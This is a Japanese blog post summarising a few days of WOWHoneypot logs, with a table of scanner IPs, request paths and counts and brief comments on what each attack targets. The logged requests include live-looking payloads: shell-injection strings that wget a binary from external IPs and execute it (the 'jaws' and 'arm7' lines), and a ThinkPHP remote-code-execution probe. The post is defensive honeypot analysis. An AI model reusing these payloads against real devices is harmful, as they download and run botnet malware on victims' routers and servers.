Wowhoneypotログ分析（2020/04/16-2020/04/18）

概要

以前の記事で構築したWowhoneypotのログを集計した結果です。

対象期間

2020/04/16-2020/04/19 

ログの集計

送信元	内容	件数
		0
130.43.73.229	GET /shell?cd+/tmp;rm+-rf+*;wget+%20185.172.110.241/jaws;sh+/tmp/jaws	1
154.70.134.71	POST /cgi-bin/mainfunction.cgi	1
156.96.155.242	GET /admin/	1
	GET /dbadmin/	1
	GET /myadmin/	1
	GET /mysql-admin/	1
	GET /mysql/	1
	GET /mysqladmin/	1
	GET /mysqlmanager/	1
	GET /openserver/phpmyadmin/	1
	GET /p/m/a/	1
	GET /php-my-admin/	1
	GET /php-myadmin/	1
	GET /phpmanager/	1
	GET /phpmy-admin/	1
	GET /phpMyAdmin-2.2.3/	1
	GET /phpMyAdmin-2.2.6/	1
	GET /phpMyAdmin-2.5.4/	1
	GET /phpMyAdmin-2.5.5-pl1/	1
	GET /phpMyAdmin-2.5.5-rc1/	1
	GET /phpMyAdmin-2.5.5-rc2/	1
	GET /phpMyAdmin-2.5.5/	1
	GET /phpMyAdmin-2.5.6-rc1/	1
	GET /phpMyAdmin-2.5.6-rc2/	1
	GET /phpMyAdmin-2.5.6/	1
	GET /phpMyAdmin-2.5.7-pl1/	1
	GET /phpMyAdmin-2.5.7/	1
	GET /phpMyAdmin-2.6.0-alpha/	1
	GET /phpMyAdmin-2.6.0-alpha2/	1
	GET /phpMyAdmin-2.6.0-beta1/	1
	GET /phpMyAdmin-2.6.0-beta2/	1
	GET /phpMyAdmin-2.6.0-pl1/	1
	GET /phpMyAdmin-2.6.0-pl2/	1
	GET /phpMyAdmin-2.6.0-pl3/	1
	GET /phpMyAdmin-2.6.0-rc1/	1
	GET /phpMyAdmin-2.6.0-rc2/	1
	GET /phpMyAdmin-2.6.0-rc3/	1
	GET /phpMyAdmin-2.6.0/	1
	GET /phpMyAdmin-2.6.1-pl1/	1
	GET /phpMyAdmin-2.6.1-pl2/	1
	GET /phpMyAdmin-2.6.1-pl3/	1
	GET /phpMyAdmin-2.6.1-rc1/	1
	GET /phpMyAdmin-2.6.1-rc2/	1
	GET /phpMyAdmin-2.6.1/	1
	GET /phpMyAdmin-2.6.2-beta1/	1
	GET /phpMyAdmin-2.6.2-pl1/	1
	GET /phpMyAdmin-2.6.2-rc1/	2
	GET /phpMyAdmin-2.6.2/	1
	GET /phpMyAdmin-2.6.3-pl1/	1
	GET /phpMyAdmin-2.6.3-rc1/	1
	GET /phpMyAdmin-2.6.3/	2
	GET /phpMyAdmin-2.6.4-pl1/	1
	GET /phpMyAdmin-2.6.4-pl2/	1
	GET /phpMyAdmin-2.6.4-pl3/	1
	GET /phpMyAdmin-2.6.4-pl4/	1
	GET /phpMyAdmin-2.6.4-rc1/	1
	GET /phpMyAdmin-2.6.4/	1
	GET /phpMyAdmin-2.7.0-beta1/	1
	GET /phpMyAdmin-2.7.0-pl1/	1
	GET /phpMyAdmin-2.7.0-pl2/	1
	GET /phpMyAdmin-2.7.0-rc1/	1
	GET /phpMyAdmin-2.7.0/	1
	GET /phpMyAdmin-2.8.0-beta1/	1
	GET /phpMyAdmin-2.8.0-rc1/	1
	GET /phpMyAdmin-2.8.0-rc2/	1
	GET /phpMyAdmin-2.8.0.1/	1
	GET /phpMyAdmin-2.8.0.2/	1
	GET /phpMyAdmin-2.8.0.3/	1
	GET /phpMyAdmin-2.8.0.4/	1
	GET /phpMyAdmin-2.8.0/	1
	GET /phpMyAdmin-2.8.1-rc1/	1
	GET /phpMyAdmin-2.8.1/	1
	GET /phpMyAdmin-2.8.2/	1
	GET /phpMyAdmin-2/	1
	GET /phpMyAdmin/	2
	GET /phpMyAdmin2/	2
	GET /pma/	2
	GET /pma2005/	2
	GET /sqlmanager/	1
	GET /sqlweb/	1
	GET /webadmin/	1
	GET /webdb/	1
	GET /websql/	1
162.243.132.168	GET /portal/redlion	1
162.243.133.122	GET /hudson	1
185.178.18.185	POST /boaform/admin/formPing	1
192.241.238.57	GET /hudson	1
193.112.8.175	GET /webdav/	1
37.6.117.105	GET /shell?cd+/tmp;rm+-rf+*;wget+%20185.172.110.241/jaws;sh+/tmp/jaws	1
45.14.224.131	GET //MyAdmin/scripts/setup.php	2
	GET //PhpMyAdmin/scripts/setup.php	3
	GET //pma/scripts/setup.php	1
	GET /muieblackcat	1
45.146.253.35	GET /db/scripts/setup.php	1
	GET /myadmin/scripts/setup.php	1
	GET /mysql/scripts/setup.php	1
	GET /phpMyAdmin/scripts/setup.php	13
	GET /pma/scripts/setup.php	1
	GET /sqladmin/scripts/setup.php%20	1
	POST /phpMyAdmin/scripts/setup.php	11
49.235.113.84	GET /TP/public/index.php	1
	GET /TP/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars0]=phpinfo&vars1]]=1	1
	POST /TP/public/index.php?s=captcha	1
5.188.210.101	GET http://5.188.210.101/echo.php	1
58.16.67.32	GET /TP/public/index.php	1
	GET /TP/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars0]=phpinfo&vars1]]=1	1
	POST /TP/public/index.php?s=captcha	1
60.191.52.254	HEAD http://112.124.42.80:63435/	1
73.57.141.179	POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a	1
81.82.247.71	POST /cgi-bin/mainfunction.cgi	1
94.102.49.193	GET /.well-known/security.txt	1
	GET /favicon.ico	1
	GET /robots.txt	1
	GET /sitemap.xml	1

コメント

• phpMyAdminに関する攻撃が複数確認できた。 
• /portal/redlionは制御システムに関連する攻撃と思われる。
• POST /boaform/admin/formPingはGPONルータの脆弱性に対する攻撃？
  

  https://www.exploit-db.com/exploits/48225

• /TP/はThinkPHPに関する攻撃と思われる。
• GET /.well-known/security.txtはSSL証明書を発行した時の一時使用のファイル？
• 2行目のログでwgetの通信先はVirusTotalでは悪性の判定があった。

VirusTotalの確認結果